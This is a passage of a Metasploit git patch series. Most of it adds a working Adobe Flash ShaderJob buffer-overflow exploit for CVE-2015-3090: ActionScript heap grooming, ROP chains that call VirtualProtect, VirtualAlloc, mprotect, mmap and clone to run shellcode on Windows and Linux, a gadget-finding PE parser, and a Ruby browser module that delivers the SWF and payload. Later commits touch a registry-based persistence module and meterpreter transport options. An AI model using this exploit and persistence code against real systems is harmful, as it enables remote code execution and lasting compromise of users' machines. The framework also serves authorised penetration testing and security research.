eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/Logger.as b/external/source/exploits/CVE-2015-3090/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/PE.as b/external/source/exploits/CVE-2015-3090/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-3090/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-3090/exploit.pbj b/external/source/exploits/CVE-2015-3090/exploit.pbj new file mode 100755 index 0000000000000000000000000000000000000000..762a6e6bfe820089d2f47cbe83039de544bff1c5 GIT binary patch literal 420 zcmYL_O-{o=427Mv3l^2=9#!%ZBnaXJh?XrvV!;-<8PixKGtqcbs;)Rn`8x>Wqg zjFxr@5vIKZuX+n?4wf8Mf``m3j;VgE`ezU&Vttz zNxa#$RS z=1T!n#i%9KY+AGql6~?u%K=6Yw_Tcr5S_8rmiI1r%Np_bRCjDm!WL<@!|U}H9Y0c6 qr=4{90`Lw)jU~M1!we3cCYa>#1u%v|e{SGn0N=UsB!iy;9KkOhcZd=I literal 0 HcmV?d00001 diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb new file mode 100644 index 0000000000..b92a96839f --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability related to the ShaderJob workings on + Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the + same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute + of the ShaderJob after starting the job it's possible to create a buffer overflow condition + where the size of the destination buffer and the length of the copy are controlled. This + module has been tested successfully on: + * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. + * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Evans', # Vulnerability discovery + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-3090'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'], + ['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'May 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end From 55f077fa9e5542b3975ac39c1070895de2b14e78 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 18 Jun 2015 12:38:36 -0500 Subject: [PATCH 0446/1013] Fix indentation --- .../source/exploits/CVE-2015-3090/Exploit.as | 40 +++++++++---------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/external/source/exploits/CVE-2015-3090/Exploit.as b/external/source/exploits/CVE-2015-3090/Exploit.as index 761a4164a4..9abb813042 100755 --- a/external/source/exploits/CVE-2015-3090/Exploit.as +++ b/external/source/exploits/CVE-2015-3090/Exploit.as @@ -1,29 +1,29 @@ package { - import flash.display.BitmapData - import flash.display.Shader - import flash.display.ShaderJob - import flash.display.Sprite - import flash.utils.getTimer + import flash.display.BitmapData + import flash.display.Shader + import flash.display.ShaderJob + import flash.display.Sprite + import flash.utils.getTimer import flash.display.LoaderInfo import mx.utils.Base64Decoder import flash.utils.ByteArray - + public class Exploit extends Sprite { - [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] - private static var BilinearScaling:Class - private var ov:Vector. + [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] + private static var BilinearScaling:Class + private var ov:Vector. private var uv:Vector. - + private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String private var os:String private var exploiter:Exploiter - public function Exploit() - { + public function Exploit() + { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh @@ -42,26 +42,26 @@ package // Put vectors in memory ov = new Vector.(1024) - + for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(0xa6) ov[i][0] = 0xdeedbeef ov[i][1] = i ov[i][2] = 0xdeadbeaf } - + // Create holes by redimensioning some vectors for (i = ov.length / 2; i < ov.length; i = i + 6) { ov[i].length = 0x14c // 0xa6 * 2 } - + // Defragment memory so hopefully one of our holes will be used // by the ShaderJob later... var defrag:Vector. = new Vector.(20) for(i = 0; i < defrag.length; i++) { defrag[i] = new Vector.(0xa6) } - + // Apply the bilinear scaling with a ShaderJob, so the job // can be execued on a new thread, providing us the opportunity // to tweak the width attribute after starting the job, providing @@ -73,7 +73,7 @@ package shaderJob.start() shaderJob.width = 0xa5 // Overwrite "next" vector length this.WaitTimer(1000) - + for (i = 0; i < ov.length; i++) { if (ov[i].length != 0xa6 && ov[i].length != 0x14c) { Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString()) @@ -83,14 +83,14 @@ package ov[i] = null } } - + if (uv == null) { Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found") return } - + exploiter = new Exploiter(this, platform, os, payload, uv) - } + } private function WaitTimer(time:int):void{ var current:int = getTimer() From 27a583853cec767573b4ffed02cc269d0af6200f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 18 Jun 2015 12:40:30 -0500 Subject: [PATCH 0447/1013] Fix one more line indentation --- external/source/exploits/CVE-2015-3090/Exploit.as | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/source/exploits/CVE-2015-3090/Exploit.as b/external/source/exploits/CVE-2015-3090/Exploit.as index 9abb813042..3ed18ef38c 100755 --- a/external/source/exploits/CVE-2015-3090/Exploit.as +++ b/external/source/exploits/CVE-2015-3090/Exploit.as @@ -9,7 +9,7 @@ package import mx.utils.Base64Decoder import flash.utils.ByteArray - public class Exploit extends Sprite + public class Exploit extends Sprite { [Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ] private static var BilinearScaling:Class From 13a3f2781d42a19db5a3bcf99a6c049addad88ed Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 13:07:44 -0500 Subject: [PATCH 0448/1013] Change ExcellentRanking to GoodRanking for MS14-064 The ms14_064_ole_code_execution exploit's ranking is being lowered to GoodRanking because of these two reasons: 1. The vulnerable component isn't in Internet Explorer. And BES can't check it so the exploit still fires even if the target is patched. 2. Although rare, we've seen the exploit crashing IE, and since this is a memory curruption type of bug, it should not be in Excellent ranking anyway. --- modules/exploits/windows/browser/ms14_064_ole_code_execution.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 833e4383d2..34240e01a5 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit4 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE From afcb0168148cbcd5d2d0d81e4e4d9429eb86d1a8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 18 Jun 2015 13:25:39 -0500 Subject: [PATCH 0449/1013] Minor description fixups. Edited modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb first landed in #5524, adobe_flash_pixel_bender_bof in flash renderer . Removed ASCII bullets since those rarely render correctly. Edited modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb first landed in #5252, @espreto's module for WordPress Front-end Editor File Upload Vuln . Fixed up some language usage, camel-cased "WordPress." --- .../multi/browser/adobe_flash_pixel_bender_bof.rb | 11 ++++++----- .../unix/webapp/wp_frontend_editor_file_upload.rb | 8 ++++---- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb index 7265fba575..f79bc97fd5 100644 --- a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -17,11 +17,12 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially crafted data as its bytecode, as exploited in the wild in April 2014. This module - has been tested successfully on: - * Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182. - * Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash 13.0.0.182 - * Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182. - * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.350 + has been tested successfully on the following operating systems and Flash versions: + + Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182, + Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash 13.0.0.182, + Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182, + Linux Mint "Rebecca" (32 bit), Firefox 33.0 and Adobe Flash 11.2.202.350 }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index 1c9663d6d0..7ed5393e6f 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -16,10 +16,10 @@ class Metasploit3 < Msf::Exploit::Remote info, 'Name' => 'Wordpress Front-end Editor File Upload', 'Description' => %q{ - The Wordpress Front-end Editor plugin contains an authenticated file upload - vulnerability. We can upload arbitrary files to the upload folder, because - the plugin also uses it's own file upload mechanism instead of the wordpress - api it's possible to upload any file type. + The WordPress Front-end Editor plugin contains an authenticated file upload + vulnerability. An attacker can upload arbitrary files to the upload folder because + the plugin uses its own file upload mechanism instead of the WordPress API, which + incorrectly allows uploads of any file type. }, 'Author' => [ From 0b55a889d31a471871998f7d43cb2a4afbfca0f1 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Thu, 18 Jun 2015 21:10:16 +0100 Subject: [PATCH 0450/1013] persistence - better ruby/msf fu --- modules/exploits/windows/local/persistence.rb | 64 +++++++++---------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 5747da35d4..833c76d007 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -31,51 +31,50 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Carlos Perez ' + 'Carlos Perez ', + 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> "Oct 19 2011", - 'DefaultOptions' => + 'DefaultOptions'=> { 'DisablePayloadHandler' => 'true', } )) - register_options( - [ - OptInt.new('DELAY', - [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]), - OptEnum.new('STARTUP', - [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), - OptString.new('VBS_NAME', - [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]), - OptString.new('EXE_NAME', - [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), - OptString.new('REG_NAME', - [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), - OptString.new('PATH', - [false, 'Path to write payload (%TEMP% by default).', nil]), - ], self.class) + register_options([ + OptInt.new('DELAY', + [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]), + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('VBS_NAME', + [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]), + OptString.new('EXE_NAME', + [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + OptString.new('REG_NAME', + [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), + OptString.new('PATH', + [false, 'Path to write payload (%TEMP% by default).', nil]) + ], self.class) register_advanced_options([ OptBool.new('HANDLER', [ false, 'Start an exploit/multi/handler job to receive the connection', false]), OptBool.new('EXEC_AFTER', [ false, 'Execute persistent script after installing.', false]) - ], self.class) + ], self.class) end # Exploit method for when exploit command is issued def exploit - print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - # Define default values rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + startup = datastore['STARTUP'].downcase delay = datastore['DELAY'] || 10 exc_after = datastore['EXEC_AFTER'] || false handler = datastore['HANDLER'] || false @@ -87,13 +86,14 @@ class Metasploit3 < Msf::Exploit::Local # Connect to the session begin host, port = session.session_host, session.session_port + print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue => e print_error("Could not connect to session") return nil end # Check values - if (is_system?) && (datastore['STARTUP'] == 'USER') + if (is_system?) && (startup == 'user') print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!') end @@ -105,31 +105,30 @@ class Metasploit3 < Msf::Exploit::Local end # Generate the exe payload - print_status("Generating EXE payload (#{rexe_name})") if datastore['VERBOSE'] + vprint_status("Generating EXE payload (#{rexe_name})") exe = generate_payload_exe # Generate the vbs payload - print_status("Generating VBS persistent script (#{rvbs_name})") if datastore['VERBOSE'] + vprint_status("Generating VBS persistent script (#{rvbs_name})") vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name}) # Writing the payload to target - print_status("Writing payload inside the VBS script on the target") if datastore['VERBOSE'] + vprint_status("Writing payload inside the VBS script on the target") script_on_target = write_script_to_target(vbsscript, rvbs_name) - # Exit the module because we failed to write the file on the target host # Feedback has already been given to the user, via the function. return unless script_on_target # Initial execution of persistent script - case datastore['STARTUP'] - when 'USER' + case startup + when 'user' # If we could not write the entry in the registy we exit the module. return unless write_to_reg("HKCU", script_on_target, reg_val) - print_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") if datastore['VERBOSE'] - when 'SYSTEM' + vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") + when 'system' # If we could not write the entry in the registy we exit the module. return unless write_to_reg("HKLM", script_on_target, reg_val) - print_status("Payload will execute at the next SYSTEM startup") if datastore['VERBOSE'] + vprint_status("Payload will execute at the next SYSTEM startup") else - print_error("Something went wrong. Invalid STARTUP method: #{datastore['STARTUP']}") + print_error("Something went wrong. Invalid STARTUP method: #{startup}") return nil end @@ -147,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Local # Create 'clean up' resource file clean_rc = log_file() file_local_write(clean_rc, @clean_up_rc) - print_status("Clean up Meterpreter .RC file: #{clean_rc}") + print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", @@ -183,6 +182,7 @@ class Metasploit3 < Msf::Exploit::Local print_good("Deleted #{filepath}") rescue print_error("Unable to delete file!") + return nil end end From 308cad8c4067c77edbdfc694de0d34143b2147ee Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 18:51:16 -0500 Subject: [PATCH 0451/1013] Fix #5565, Fix os.js service pack detection Fix #5565 --- data/js/detect/os.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 58447e8b51..b1ad75db2b 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -1027,7 +1027,7 @@ os_detect.getVersion = function(){ } switch (navigator.appMinorVersion){ case ";SP2;": - ua_version += ";SP2"; + os_sp = "SP2"; break; } } From 8656add0add5ff504ce8d2fa163647367bf43030 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 19 Jun 2015 10:55:22 +1000 Subject: [PATCH 0452/1013] Add uri parameter when removing http/s transports --- lib/rex/post/meterpreter/client_core.rb | 10 +++++++-- .../ui/console/command_dispatcher/core.rb | 21 +++++++++++++------ 2 files changed, 23 insertions(+), 8 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 4d6f5ad1e2..9ff18cfba7 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -658,8 +658,14 @@ class ClientCore < Extension # do more magic work for http(s) payloads unless opts[:transport].ends_with?('tcp') - sum = uri_checksum_lookup(:connect) - url << generate_uri_uuid(sum, opts[:uuid]) + '/' + if opts[:uri] + url << '/' unless opts[:uri].start_with?('/') + url << opts[:uri] + url << '/' unless opts[:uri].end_with?('/') + else + sum = uri_checksum_lookup(:connect) + url << generate_uri_uuid(sum, opts[:uuid]) + '/' + end # TODO: randomise if not specified? opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index b9e151cf0d..6fe12a4fb3 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -543,12 +543,13 @@ class Console::CommandDispatcher::Core '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], - '-ua' => [ true, 'User agent for http(s) transports (optional)' ], - '-ph' => [ true, 'Proxy host for http(s) transports (optional)' ], - '-pp' => [ true, 'Proxy port for http(s) transports (optional)' ], - '-pu' => [ true, 'Proxy username for http(s) transports (optional)' ], - '-ps' => [ true, 'Proxy password for http(s) transports (optional)' ], - '-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ], + '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], + '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], + '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], + '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], + '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ], + '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ], + '-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ], '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], @@ -592,6 +593,7 @@ class Console::CommandDispatcher::Core :transport => nil, :lhost => nil, :lport => nil, + :uri => nil, :ua => nil, :proxy_host => nil, :proxy_port => nil, @@ -611,6 +613,8 @@ class Console::CommandDispatcher::Core case opt 